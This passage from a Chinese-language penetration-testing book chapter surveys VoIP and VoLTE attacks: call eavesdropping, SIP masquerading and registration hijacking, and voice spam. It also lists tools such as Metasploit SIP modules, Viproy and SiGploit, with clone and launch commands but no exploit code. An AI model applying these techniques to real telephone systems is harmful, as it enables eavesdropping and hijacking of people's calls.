此外,攻击者可以收集电话号码并构建有效的电话号码数据库,记录所有的呼入和呼出电话。窃听并不止于此,攻击者可以录制您的通话,甚至知道您正在使用双音多频(DTMF)输入什么。您可以使用此链接www.polar-electric.com/DTMF/
上的 DTMF 解码器/编码器:
错误配置的互联网电话上的语音(VOMIT)是一个将 Cisco IP 电话对话转换为 WAV 文件的实用程序。您可以从其官方网站vomit.xtdnet.nl/
下载它:
SIP 攻击
另一种攻击技术是 SIP 伪装。我们可以执行两种类型的 SIP 伪装。从攻击者的角度来看,我们可以实现以下内容:
- Rogue SIP B2BUA:在这种攻击技术中,攻击者模仿 SIP B2BUA:
- SIP 伪装为代理:在这里,攻击者模仿 SIP 代理:
SIP 注册劫持
SIP 注册劫持是一个严重的 VoIP 安全问题。我们之前看到,在建立 SIP 会话之前,有一个注册步骤。注册可以被攻击者劫持。在 SIP 注册劫持攻击期间,攻击者通过拒绝服务(DoS)禁用正常用户,然后简单地发送带有自己 IP 地址的注册请求,而不是该用户的 IP 地址,因为在 SIP 中,消息是明文传输的,所以 SIP 不确保信令消息的完整性:
如果您是 Metasploit 爱好者,可以尝试许多其他 SIP 模块。通过输入msfconsole
打开 Metasploit 控制台,并使用search SIP:
搜索 SIP 模块。
要使用特定的 SIP 模块,只需输入use <module>
。以下界面是 SIP 模块使用的示例:
互联网电话的垃圾邮件
互联网电话的垃圾邮件(SPIT),有时被称为语音垃圾邮件,类似于电子邮件垃圾邮件,但它影响 VoIP。要执行 SPIT 攻击,可以使用名为spitter的生成工具。
嵌入恶意软件
恶意软件是 VoIP 基础设施的主要威胁。您不安全的 VoIP 终端可能会受到不同类型的恶意软件的攻击,如蠕虫和 VoIP 僵尸网络。
软电话也是攻击者的一个高度可能的目标。如果攻击者破坏了您的软电话,可能非常危险,因为如果攻击者利用它,他们可以破坏您的 VoIP 网络。恶意软件不是针对 VoIP 终端的唯一威胁。VoIP 固件是黑客的潜在攻击向量。固件黑客可能导致电话被破坏。
Viproy - VoIP 渗透测试工具包
**Viproy VoIP 渗透测试工具包(v4)**是一个 VoIP 和统一通信服务渗透测试工具,由 Fatih Ozavci 在 2014 年 Black Hat Arsenal USA 上展示:
要下载此项目,请从其官方存储库克隆它,github.com/fozavci/viproy-voipkit:
git clone https://github.com/fozavci/viproy-voipkit.
以下项目包含许多模块,用于测试 SIP 和 Skinny 协议:
要使用它们,将lib
,modules
和data
文件夹复制到系统中Metasploit
文件夹中。
VoLTE 利用
Voice over LTE (VoLTE) 在 4G 网络上传输语音。其通话质量比其他 VoIP 变体更高,而且提供更好的覆盖范围。VoLTE 以及其他语音技术都面临来自攻击者的各种威胁。让我们开始探索 VoLTE 的基础知识,以便后来学习如何攻击它。长期演进 (LTE) 由 第三代合作伙伴计划 (3GPP) 在 2014 年开发。它是一个基于 IP 的分组交换网络。它使用两种模式——时分双工 (TDD) 和 频分双工 (FDD)。LTE 架构由以下三个主要组件组成:
-
用户设备 (UE)
-
演进的 UMTS 地面无线电接入网络 (E-UTRAN).
-
演进分组核心 (EPC)
VoLTE 攻击
VoLTE 已被一些电信公司采用,如 AT&T 和 T-Mobile。许多研究都集中在试图利用 VoLTE 中涉及的通信协议。Sreepriya Chalakkal 的一篇研究论文介绍了针对 VoLTE 的几种攻击。以下是一些攻击:
-
嗅探 VoLTE 接口
-
GSM SIM 中的暴露密钥
-
用户位置操纵
-
漫游信息操纵
-
侧信道攻击
SiGploit – 电信信令利用框架
SiGploit 是一个安全框架,可帮助电信安全专业人员增强移动网络基础设施。要测试该项目,请从github.com/SigPloiter/SigPloit:
克隆它
# git clone https://github.com/SigPloiter/SigPloit
要使用该工具,请转到bin
目录并运行SiGsploit.py
脚本:
摘要
在本章中,我们演示了如何利用 VoIP 基础设施。我们首先研究了 VoIP 中涉及的核心协议。然后,我们探讨了主要的 VoIP 攻击以及如何防御它们,以及渗透测试人员最常用的工具和实用程序。我们以概述一些针对 VoLTE 的最新攻击结束了本章。